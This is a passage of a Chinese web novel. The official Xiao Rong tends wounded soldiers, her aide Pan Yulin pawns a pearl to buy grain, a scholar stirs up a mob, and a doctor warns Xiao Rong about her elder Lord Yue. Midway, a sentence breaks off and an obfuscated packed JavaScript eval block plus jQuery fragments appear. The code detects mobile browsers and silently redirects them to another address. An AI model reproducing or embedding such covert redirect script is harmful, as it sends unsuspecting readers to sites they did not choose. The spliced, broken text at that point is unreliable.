医仆为战士们换下在端州临时包扎的纱布，便为医师打下手，来不及清理的纱布就堆在犄角旮旯里。


    那纱布裹着污糟气，玷染了医馆的环境，墙角堆不开的都飘到了过道。萧荣怕医师和将士们被绊倒，便提了个木桶，蹲下身来清理。尽管她用衣袖掩住口鼻，腐肉与金疮药混合的腥气还是能直冲喉头。


    她猛地偏头干呕，胸咽中一阵酸麻。忍住恶心一鼓作气将那些纱布清出门后，才倚靠在墙边，从胸口掏出一颗话梅含在嘴里，终于驱散了那股污浊之气。


    “大人！”潘玉麟的皮靴碾着砂石出现在萧荣的视野里，“您怎么在这儿干这种粗活？”


    萧荣清了清嗓子道：“总比躺在榻上数房梁强。”她将一团血布扔进火盆，火星“噼啪”炸开几点猩红，“府衙粮仓还剩多少黍米？去熬些稠粥来。”


    “给这些战士们吗？”潘玉麟回头扫视一周，盘算着粮食用量。“不知这次伤残将士为何这么多，晌午又送来三百伤兵，府衙的屯粮恐怕不够，若是把粥熬的稀一些……”


    她话还没有说完就被萧荣打断：“不可！这群将士们刚从战场下来时，端州粮仓已经快要告罄了，他们恐怕没吃几顿饱饭，回到西遥城怎能继续挨饿？”她说着解下面具，“这面具虽不是纯金铸造，却也能值不少钱，你去当了换些银子，看看粮铺还有多少存货，都买回来，若是粮铺也不够，便抬高些价格到百姓家里买。”


    “好！我现在就去！”潘玉麟接过赤金面具，径直来到当铺。


    刚到门口，她犹豫了，想起萧大人曾告诉她这是太上皇赏给自己的。指尖摩挲着那精细的纹路，实在不忍心就这样当了去。


    灵光一闪，她指尖划过腰间刀鞘，摸到上面一块凸起，将指甲嵌入凸起后反扣，解开一枚暗扣，从中拈出一枚鸽卵大小的珍珠。这珍珠浑圆莹润，在日光下泛着淡淡的粉色光晕，是临行前父亲塞给她的保命之物，说是南图国进贡的宝物，价值连城。她咬了咬牙，掀开当铺的蓝布帘子走了进去。


    “老板，看看这珠子值多少银两！”


    檀木柜台后坐着个干瘦老头，正眯眼拨弄算盘。见有人进来，他懒懒抬眼，目光却在触及东珠的瞬间凝住了。他猛地直起身子，喉结滚动，枯枝般的手颤巍巍伸出：“姑娘……这、这可是南海红珠？”


    潘玉麟走的急，没细听父亲唠叨，不知道这珠子叫什么，但看那老板像是识货的样子便点点头。


    老头哆嗦着捧起红珠，从抽屉里摸出个放大镜，对着珠子左照右看。镜片后，他浑浊的眼珠越瞪越大，呼吸都急促起来：“这纹路……这光泽……老朽活了六十载，头回见到这般品相的红珠！”


    “别说那么多废话了，给我换成银票，这可是为你们西遥城百姓换粥钱，你别克扣太多！”


    他偷瞄潘玉麟一眼，见她神色焦灼，忽然叹气摇头：“可惜啊，如今战乱，珠宝行情大跌。这珠子若在太平年月，少说值五百两，如今嘛……”他比出三根手指，“顶多二百两。”


    潘玉麟冷笑一声，伸手将刀刃架在他肩头：“前阵子我才找岭南商户瞧过，这品相至少出价四百两，都说了这是西北战士们的饭钱，你心可够黑的！”


    “姑奶奶饶命——”老头慌忙缩手，珠子险些跌落。他额头沁出冷汗，讪笑道：“姑娘既识货，老朽也不瞒你。这珠子确有瑕疵……”他指向珠底一处针尖大的白点，“您瞧，这儿有个沙眼。这样，三百两，不能再多了！”


    潘玉麟盯着那所谓的“沙眼”，分明是老头指甲掐出的印子。但想到医馆外那些断腿残臂的将士，她一把拍在柜台上：“成交！”


    银票刚揣进怀里，帘外忽有人影一闪。潘玉麟警觉回头，只见个青衫背影仓皇消失在街角——正是那日被她当街扒衣的文士。她心头一紧，加快脚步往医馆赶去。


    医馆前，潘玉麟支起铁锅，将新买的粟米倒入沸水中。米香混着药材苦涩飘散开来，几个饿极的伤兵拄着拐杖围拢过来。她正弯腰搅粥，忽听身后一阵嘈杂。


    “就是她！萧荣的走狗！”那青衫文士领着二十多个百姓冲来，脸上还带着未愈的抓痕。他尖声嚷道：“这些米面都是咱们的血汗税银，反倒让她和潘玉麟落得个好名声！”


    潘玉麟的刀鞘“铿”地撞上青石柱，“放屁！这五十石黍米是老娘自掏腰包买的！”她翻出当票甩在众人脸上，“睁大狗眼看清楚！”


    人群顿时炸开锅。


    几个猥琐老头子抓起砂土就要往锅里撒。


    潘玉麟拔刀横在锅前，刀刃映出她猩红的眼：“谁敢动粥，我剁了谁的手！”


    “好大的威风！”文士躲在人后阴笑，“萧荣当众脱裤子的本事，你倒是学了个十成！”


    话音未落，萧荣的身影倏然挡在潘玉麟面前：“有什么事冲本官来，若毁了一粒军粮……”她反手抽出腰间软剑，剑锋抖出嗡鸣，“便以谋害将士论处！”


    百姓们被这气势所慑，一时噤声。那文士却抓起块石头狠砸过来：“呸！不要脸的贱人！”


    石头呼啸而至，萧荣不避不闪，以肉身挡住飞沙走石，辗转间将锅盖覆上。


    忽然，一道黑影从斜里扑出，三下两下撂倒了那文士——是那个独眼的少年伤兵！他便敲打那文士边吼道：“萧大人清正廉明，轮不到你们污蔑！”


    仿佛冷水溅入热油，医馆内外瞬间沸腾。


    能走动的伤兵全都冲了上来，断臂的用头撞，瘸腿的抡拐杖。不能动的则在草席上捶地怒吼：“保护萧大人！”


    征战过沙场的将士们总是身躯残破，意志仍然坚定，他们气势如虹，上百人的声浪震得屋檐积尘簌簌坠落。


    青衫文士被一个满脸刀疤的老兵揪住衣领，吓得尿了裤子。


    百姓被这阵势吓退了，纷纷扭头逃窜。


    宫泽尘和夏郎中听到这动静时，没有匆匆冲出来，待手里的活儿都利落完


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15229873|164879||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    成，才来到医馆门前。


    二人听萧荣概述了事情的经过，忙查看她与潘玉麟有无受伤，两人都多少受了些皮外伤，但并无大碍。


    “萧大人，这人就是那日带着百姓毁坏废庙的流氓，别看他穿得人模狗样的，心眼子坏的很，教唆百姓说了您不少坏话，您可不要轻易放过他！”潘玉麟指着文士道。


    萧荣这几日在西遥城听说不少有关自己的污言秽语，大多是针对自己公堂撕衣衍生出来的谣言，什么暴露癖，什么借□□上位，甚至还有私养面首等等。传谣者虽然说得有鼻子有眼的，但萧荣以为只是公堂上百姓的闲言碎语传播开来，便没放在心上。


    她思索着眼前这个人的行径，察觉那些谣言或许和他有关。但萧荣与他无冤无仇，甚至从未见过，定是背后有人指使。


    “说！是谁指使你毁坏城北庙宇的！”萧荣瞬间恢复了女官的威凛。


    那文士呵呵笑道：“你这泼妇，好大的官威！那庙宇是我们西遥城百姓的，就算荒废了，也轮不到你一个外人私自占用！我们只是扔了些东西，并未毁坏那庙宇的一砖一瓦啊！你这泼妇简直信口雌黄！”


    夏郎中细细打量着这文士的模样，瞧着不像西遥城的百姓，但总觉得在哪里见过。


    “本官竟不知，这西遥城还有你这般刁民，玉麟，把他关押到府衙，听候审讯！”


    “哈哈哈，看看，这就是京城来的提督，对百姓不满就提审，审不出来就屈打……”他还没说完就被潘玉麟找了一片纱布硬塞进嘴里。


    “我们继续忙……”


    夏郎中忽然伸手挡住萧荣的去路：“萧大人，可否借一步说话？”


    萧荣见他神色凝重，便没有推辞，正好也有些话想问他。


    夏郎中领着萧荣来到一处僻静的街角，四下无人，只有寒风卷着落叶在青石板上打着旋儿。他压低声音道：“萧大人，老朽有一言相告，无论您与那位月老爷是何关系，都需谨慎提防。”


    萧荣眉头一皱，眼神瞬间锐利起来：“郎中此言何意？月老爷是我敬重的长辈，何来提防一说？”


    夏郎中叹了口气，目光凝重：“老身并非挑拨离间，只是……月老爷出现在医馆那日，并非他初到西遥城。前一日，我便在城南见过他，身边还跟着一个唯唯诺诺的书生。方才那文士被押走时，我才猛然想起，那书生正是他！”


    萧荣心头一震，仿佛被一盆冰水浇下。她强压下翻涌的情绪，冷声道：“夏神医，此事非同小可，您可看真切了？”


    夏郎中郑重点头：“老朽虽年迈，但眼力未衰。那书生身形瘦削，举止畏缩，与今日这文士如出一辙。月老爷与他交谈甚密，绝非偶然。”


    萧荣的指尖不自觉地掐入掌心，脑海中闪过月无弦慈祥的面容和文士狰狞的嘴脸。她无论如何也无法将这两者联系在一起。月公公是太上皇的心腹，更是从小看着她长大的长辈，怎会与这污蔑自己的小人有所勾结？